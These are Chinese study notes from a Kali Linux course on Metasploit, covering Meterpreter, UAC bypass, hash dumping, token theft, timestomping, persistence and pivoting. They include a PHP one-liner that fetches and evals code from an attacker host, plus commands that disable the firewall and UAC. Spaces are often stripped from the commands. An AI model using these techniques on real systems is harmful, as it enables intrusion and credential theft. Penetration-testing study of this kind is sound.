Kali Linux渗透测试学习笔记MSF.docx
- 文档编号:4473251
- 上传时间:2022-12-01
- 格式:DOCX
- 页数:47
- 大小:12.49MB
Kali Linux渗透测试学习笔记MSF.docx
《Kali Linux渗透测试学习笔记MSF.docx》由会员分享,可在线阅读,更多相关《Kali Linux渗透测试学习笔记MSF.docx(47页珍藏版)》请在冰豆网上搜索。
KaliLinux渗透测试学习笔记MSF
第18章MetasploitFramework
142.渗透测试者的困扰.exe
143.Metasploit简介、教材和版本对比.exe
metasploitframework是一个框架,渗透测试各个阶段的工具基本都具备,同时有灵活扩展的功能。
ruby语言开发最大的软件就是metasploit。
HDMore参与了shodan项目。
nessusopenvas扫描出来的漏洞不一定真的存在,使用msf验证漏洞。
msf集成到kali,更新kali同时会更新msf。
已购买中文第二版。
第一个是集成在kali中的版本。
基于web的免费版在大批量工作时会有限制。
收费版的报告功能很强大。
144.MetasploitFramework和MSF架构.exe
数据库默认端口5432,有异常时msf启动会提示数据库连接失败。
在不启动数据库情况下命令行输入msfconsole会提示连接数据库失败。
但是在不启动数据库点击桌面msf图标的时候会自动启动数据库。
145.MSF架构-技术功能模块.exe
ls/usr/share/metasploit-framework/modules/exploits/windows/smb/
POC/EXP是漏洞利用方法代码,可以调用payload或者shellcode,而没有shellcode/payload功能。
payload跟漏洞没有关系,漏洞怎么产生的,怎么利用的都没有关系。
获得shell的代码是shellcode,也可以只执行一条命令。
auxiliary里有包含DoS的模块,让目标崩溃的模块。
不包含payload功能。
还有post模块,后攻击阶段的模块。
146.MSF基本使用和控制台命令.exe
在msf下也可以执行部分系统命令。
helpvulns
-q静默方式启动,-r资源文件,-v当前版本
connect是msf下的类似于nc的工具。
支持代理,支持ssl加密。
use08-067
payload空间,坏字符。
showpayloads#适用于当前模块的payload
showadvanced
showevsion
showmissing
每一个模块实际上是ruby语言,rb后缀名的。
可以在当前模块下输入edit修改模块。
或者使用系统命令进行修改。
设置好参数以后,可以先check一下再进行exploit。
不是所有的模块都有check功能。
147.MSF-控制台命令.exe
db_rebuild_cache建立缓存,提高速度。
db_connect连接数据库,可以连接不同的用户,连接其他ip的数据库,协同工作的时候使用。
db_nmapmsf下的nmap命令,功能一样,不同的是可以把扫描结果保存到数据库里。
creds扫出来的密码信息
vulns扫出来的漏洞信息
loot查看hashdump,获取到的hash值。
设置/取消设置变量设置/取消全局变量save保存变量值。
下次进入仍然生效。
exploit-j后台执行侦听
load插件loadopenvas装载插件
loadpath指定加载模块目录
resourcemsf内调用rc,也可以在系统命令行调用rcmsfconsol-ra.rc
kill0
148.Exploit模块.exe
activeexploit主动模块:
攻击者主动发起payload。
这个模块需要知道目标用户名密码。
被动方式,创建一个网站,诱使客户端访问。
https保证数据传输安全,并不能提高服务器安全,也不能提高客户端安全
149.生成payload.exe
payload可以编译直接拷贝到目标直接运行。
非必选参数,限制来源连接地址。
payload上下文:
执行generate生成ruby语言16进制内容显示出来。
(当前payload)
-b过滤坏字符。
\x00
过滤坏字符会使用encoder,体积也会变大。
过滤坏字符太多的话,会出现没有能过滤的encoder。
可以加密一次也可以多次,也可以绑定其他exe,绑定后不影响原程序运行。
-sNOPsledlength.-t默认情况下输出ruby语言的payload,可以指定其他格式。
150.Meterpreter.exe
虽然根据之前的操作拿到了目标的shell,但是所作的事情比较少。
meterpreter可以实现强大的攻击功能。
151.Meterpreter基本命令和MeterpreterPython扩展.exe
ms08-067作为演示。
setpayloadwindows/meterpreter/reverse_tcp
上传文件,路径用\\分割
进入meterpreter提示符。
run/bgrun命令和post脚本,关闭av,等等很多后攻击阶段工具。
263个命令,U盘插入记录,域环境的话会更多的受影响。
execute-fcmd-i-H#-f指定程序-i交互式-H隐藏
getsystem获取system账户权限getprivs查看权限getproxy获取代理设置
getpid获取进程idps查看进程列表migrate迁移到别的进程
hashdump获取hash
idletime目标操作系统空闲时间。
如果长时间没有操作,可能没有人在操作。
可以操作桌面。
resource调用rc文件。
-i每隔一秒钟抓拍
执行自定义的python脚本,需要解释环境,loadpython就不需要客户端有解释环境。
152.Msfcli.exe
153.Msf-信息收集发现和端口扫描.exe
auxiliary模块收集目标的模块,rhost参数编程了rhosts,也就是可以指定多个目标。
具体模块有什么作用,有什么不同,可以查看info信息。
154.Msf-信息收集IPIDIdle扫描和UDP扫描.exe
僵尸扫描,查找僵尸主机。
155.Msf-信息收集密码嗅探和SNAP扫描.exe
msf还支持被动扫描,数据流分析。
支持在线的抓包分析,支持文件分析。
matesploitable2snmp测试,修改侦听地址。
snmp_login可以暴力破解conmm
snmp_enum可以读取配置。
下面连个模块式windows下的。
模块有高级参数,默认只显示一般。
showadvanced显示高级参数
setverboseyes
156.Msf-信息收集SMB服务扫描.exe
windows/linux下都有smb服务,可以进行版本扫描,得到操作系统信息。
winodws管理员rid是500,不是根据用户名来确定身份。
157.Msf-信息收集SSH服务扫描.exe
msf自带的字典文件。
基于公钥的登陆需要证书。
通过某种方式窃取到密钥的话,某些硬件设备的登录密钥是相同的。
158.Msf-信息收集系统补丁.exe
options里有个参数是session,需要指定session,基于session的模块。
在meterpreter输入background,使用上面模块查系统补丁。
ms08-067是漏洞编号,KB2871997是补丁编号。
运行时需要迁移到其他进程。
查的补丁编号也要set,默认只有2个。
159.Msf-信息收集sqlserve.exe
查询UDP1434端口可以判断mssql,通过连接1434端口可以查出来tcp端口是多少。
160.Msf-信息收集FTP.exe
161.Msf-弱点扫描.exe
某些版本的vnc安装完以后默认不设置密码。
空密码漏洞
searchms12_020_check,一个是检查模块,一个是攻击模块。
如果拿到了账户信息,可以使用admin下的模块针对不同的产品不同的功能做管理。
dir_listing用来列出目录,files_dir用来爆破目录。
wmapmsf提供的插件。
设计思路、命名模仿sqlmap--wmap
这个插件是利用msf内的针对http扫描的模块。
loadwmap以后多了针对wmap的命令。
help
wmap_run-e开始执行,凡是适用的模块都将被调用。
162.Msf-弱点扫描和客户端渗透.exe
nexpose商业版软件,试用期14天。
openvasnessus导出使用nbe格式,nexpose使用xml格式。
导入之前/之后可以查看hosts和services和vulns进行对比
先要启动nessus。
nessu_scan_launchid
服务端和客户端使用的payload要保持一致。
定制deb包
先下载deb包,比如freesweep,默认下载到/var/cache/apt/archives/partial目录
dpkg-x解压deb包,到free目录。
vicontrol#里面添加相关信息。
vipostinst#安装后要执行的脚本。
163.Msf-客户端渗透.exe
第一个模块作用是用来生成pdf文件。
setpayloadwindows/meterpreter/reverse_tcp#优先使用meterpreter的payload
setlhost
run#生成包含payload的pdf文件。
把文件拷贝到目标客户端。
msf下进行侦听,目标打开文件。
获得shell以后可以迁移进程,防止客户端打开文件异常以后关机程序。
第二个模块,也是利用这个漏洞。
在线欺骗
同时也要setpayload
usepriv#提升权限。
post键盘记录payload,键盘记录只是显示了敲击的记录,系统返回的结果不会显示。
exploit/multi/browser/adobe_flash_hacking_team_uaf欺骗用户打开网页,跟pdf过程一样。
exploit/multi/browser/adobe_flash_opaque_background_uaf
auxiliary/server/browser_autopwn2模块
所有msf里浏览器漏洞模块集成到一块,自动装载payload到msf。
等待客户端连接。
侦听80,不同的客户端跳转到不同的payload端口
使用这类模块,可用payload就变成java目录
javameterpreter和windowsmeterpreter有一些差别
exploit/multi/browser/java_jre17_jmxbean
3个java模块使用方法一样。
手机客户端。
手机上安装时会提示病毒。
生成vba脚本代码。
生成2部分内容。
第一部分是vba代码,第二部分十六进制的payload。
建立的word文件拷贝到目标打开。
164.Msf-后渗透测试阶段.exe
win7以后增加了uac,用户访问控制功能,管理员组的用户在运行高级权限功能的时候会有窗口提示。
默认的meterpreter下不能运行getsystem,先要loadpriv,执行时会失败,因为有UAC限制。
绕过UAC的3种方法:
先backbround
useexploit/windows/local/ask
要求任何权限时都有窗口提示。
setpayload还是使用revers_tcp
利用现有seeion执行额外的pyaload。
现在取得的shell就是通过UAC限制的session
loadpriv
getsystem可以执行。
seesion2可以绕过UAC限制。
取得system权限。
第二种方法:
useexploit/windows/local/bypassuac#local下面的模块都是基于已有的session进行操作。
setsession
setpayload
exploit#目标没有弹出窗口,会生成新的session
第三种方法:
useexploit/windows/local/bypassuac_injection
setpayload
exploit
以上前提是获得的seesion权限已经是admin组。
利用漏洞提升权限,获得的本地一般权限账户。
同样需要setpayload直接就是system权限。
迁移到explorer进程也会随着用户注销而消失。
第1,4可以在win7sp1上成功执行。
图形化payload
用第一个模块取得system,使用图形化payload
默认viewonlyyes改成no,就可以操作。
165.Msf-后渗透测试阶段
(二).exe
进入session以后可以获得操作系统账号hash,利用passthehash可以传输hash值进行验证,而不需要破解。
msf可以调用passthehash。
psexec模块利用smb协议执行目标上面的命令。
执行2条,以上有重复。
密码设置为hash,setpayload
会有报错,因为有UAC。
使用突破限制的session进入shell执行上面命令,上面命令是修改该注册表。
取消UAC限制。
关掉UAC以后需要重启。
shutdown/r/t0这也是关闭UAC的操作,而不是绕过。
这样就可以使用exec
netshadvfirewallsetallprofilesstateoff
也可以关闭rdp
rungetgui-e开启rdp,也可以通过getgui添加用户
不用vnc,不开远程桌面也可以对桌面截图。
间隔性的截图,节省带宽。
meterpreter下load和use作用一样。
获得admintoken,一般用户冒充管理员进行操作。
交互式登录是正常登录或rdp等。
非交互式登录是smb方式等。
盗用token在域环境特别有效。
注销后token虽然失效,但权限保存,权限仍然在。
窃取token必须拿到本机管理员权限,进而窃取域管理员token
incognito是单独的一个软件,msf把它集成进来。
list_tokens-u
查看当前token,看到没有域管理员的token
当域管理员通过网络访问目标主机的时候,可以看到这个token
成功伪装成域管理员
166.Msf-后渗透测试阶段(三).exe
需要关闭UAC
需要获得meterpreter,反弹shell用在目标不固定,ip经常变化,或者在内网。
nc侦听端口或者bind_shell的形式目标有互联网固定ip。
添加启动项的时候注意关掉av,之类软件。
reg命令可以查看帮助
enumkey内容setval增加键queryval查询
nc-d静默执行-L连接断开后继续侦听-p端口
第三条命令查询结果
167.Msf-后渗透测试阶段(四).exe
只保存最近50000个包,循环使用空间。
可以即使dump下来cap包。
只能过滤meterpreter控制流量。
psnuffle模块分析抓下来包内的信息。
功能有限可以借助Wireshark分析。
注意转义符\和空格都需要\转义符。
Modified修改修改文件内容
Accessed访问读取、打开文件、复制
Changed变更属性、权限修改
ls-al默认看到mtime
ls不会更新atime
touch-d-tatimemtime更新
修改内容3个时间戳都会更新。
msf里有timestomp模块,功能更强大。
windows下ntfs多了一个E时间。
E:
MFTentry
windows下,文件改名只修改entrytime
-f指定一个文件,以这个文件的时间作为模板。
-m/-a/-c/-e/所有修改-z
168.Msf-后渗透测试阶段(五).exe
kali仅主机模式网卡1mono1仅主机模式网卡1桥接模式
mono2仅主机模式网卡2桥接模式win7仅主机模式网卡2host仅主机模式网卡2
基于session会话,把目标是win7内网的数据流送到win7转发
也适用于目标有双网卡的情况。
192.168.21.95是mono2外网口地址。
自动判断的。
先使用portscan/tcp模块进行内网扫描。
db_nmap命令不支持,只能使用msf里面的扫描模块。
在对xp进行渗透测试时,payload的lhostip要提前,正常应该在kali,提前到mono1也不行,需要提前到win7。
win7会自动路由返回到kali
portfwdadd-l3389-r2.1.1.11-p3389#不指定本地IP也行。
路由方式是流量路由,端口转发是针对端口。
setexitonsessionfalse#kali端侦听端口不因目标连接过来后而关闭。
等于始终侦听。
169.Msf-后渗透测试阶段(六).exe
arp扫描本地网络,检查是不是虚拟机,收集账号及token,获取程序列表,登陆的用户,snmp信息,侦察目标本地提权漏洞,删除用户,目标环境信息,firefox保存的密码,ssh保存密码,检查某个文件是不是恶意软件。
已经获得token的用户不会因为删除账户而注销
post脚本自动执行:
比如在目标连接过来以后自动迁移到别的进程,避免连接进程被断开。
setInitialAutoRunScriptmigrate-nexplorer.exe#大部分post模块都有这个参数,提前设置
setAutoRunScriptpost/windows/gather/dumplinks#这个是一个模块,自动执行模块,获得windows当前用户最近打开的文档记录。
autorunscripte只能指定一个模块
InitialAutoRunScript先运行一个模块或脚本,再运行autorunscripte。
170.Msf-后渗透测试阶段(七).exe
nc创建的自启动也只是nc功能,不是meterpreter。
有两种方式,第一种runmetsvc-A
在目标本地安装一个系统服务,侦听31337端口,这个端口nc连不上。
可以nmap扫描31337端口,:
)
不在目标侦听端口,使用反弹shell。
mimikatz可以把内存中用户明文密码提取出来。
winmine:
:
infos扫雷游戏。
winmine:
:
cheat作弊
利用文件上传漏洞,或者通过其他漏洞上传能执行php文件的目标。
还提供java,jsp,asp的shell
webdelivery
kali上运行httpserver,上面放漏洞执行代码,目标存在系统运行漏洞,主动访问kalius、rl地址,会把漏洞代码下载到目标机本地,执行反弹shell到kali。
目标下载php文件以后必须执行这一段代码:
php-dallow_url_fopen=true-r“eval(file_get_contents(‘http:
//1.1.1.1/fTYWqmu'));"
171.Msf-后渗透测试阶段(八).exe
默认情况下metasploitable2不支持RFI。
修改配置文件。
kali上使用msf启动包含webshell的php站点。
PHPURI/?
php=XXpathXX#XXpathXX会自动由msf替换成包含phpwebshell的路径。
正常应该时http:
//192.168.111.130/webshell.php
因为这个测试的web文件包换路径是登陆过以后才能访问到的。
所以需要设置cookie。
设置完毕执行,成功获得meterpreter
无线攻击方式,多种工具的集合。
伪造AP,诱使别人连接,通过AP,可以嗅探抓包。
同时在AP上启动漏洞利用模块,检测目标存在的漏洞,尝试往流量里注入payload。
创建meterpreter。
既能嗅探信息,也能注入代码。
不是插件,也不是脚本,是一个资源文件。
安装DHCP。
伪造AP,启动dhcp,启动karmetasploit。
伪造AP,必须先启动侦听模式。
ifconfig-a看到at0,未激活。
ifconfigat0up10.0.0.1netmask255.255.255.0#激活at0,并且设置IP地址。
touch/var/lib/dhcp/dhcpd.leases#建立租约文件。
此时AP已经可以看到,OPEN状态。
但是没法上网。
这时候就可以启动karmetasploit了。
如果发现漏洞建立meterpreter,但是客户端连上AP以后不能上网断开AP连接以后meterpreter就同时断开了。
所以要修改配置文件。
让客户端可以正常的使用伪造AP。
修改karma.rc_.txt,删除数据库连接部分,删除setg所有参数。
文件内有dns劫持模块。
fakedns
建议增加autopwn2,默认已有autopwn。
msf内还有安全监测模块。
检测是否由恶意软件。
打开ip转发,加入iptables策略。
172.Armitage图形化端-简介安装.exe
基于java开发的图形化界面。
armitage是客户端,msfrpcd是服务端。
端口55553
所有操作都是服务端完成,服务端来调用msf模块。
客户端只是发送命令。
多个客户端共享漏洞数据。
需要先启动数据库,不需要进入msfconsole
teamserverippass#服务端启动。
客户端启动输入相应信息。
验证finger,输入nickname
173.Armitage图形化前端-启动、发现主机、工作区、获取目标.exe
可以手动添加host,也可以导入nmap之类的扫描结果。
导入以后可以进行扫描,扫描以后可以进行自动化攻击。
metasploitable2自动攻击可以建立4个session
可以看到建立了4个shell。
添加工作区,按照条件对多个目标过滤分区。
可以为目标添加标签,进行工作区区分。
工作区可以激活,隐藏其他目标,工作区是个人独立的。
个人视角的目标动态筛选
可以在这里生成exe,发送给目标。
侦听端口在listeners---revers_tcp---
也可以bindtcp主动连到目标。
也可以建立隐藏的tcpbind
运行以后,目标有进程,但是没有打开端口。
但是一旦有AhostIP的主机连过来的时候才侦听。
连接以后会看到打开了相应的端口,建立了相应的连接。
browser_autopwn2模块建立网站,欺骗目标打开。
可以持久化会话。
passsession基于一个session建立另外一个session
可以做post一些操作,可以作为跳板渗透其他内网主机。
可以利用的漏洞。
默认自动攻击时使用的漏洞级别。
下一项,可以做为代理。
另一台主机可以把代理设置为kali。
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Kali Linux渗透测试学习笔记MSF Linux 渗透 测试 学习 笔记 MSF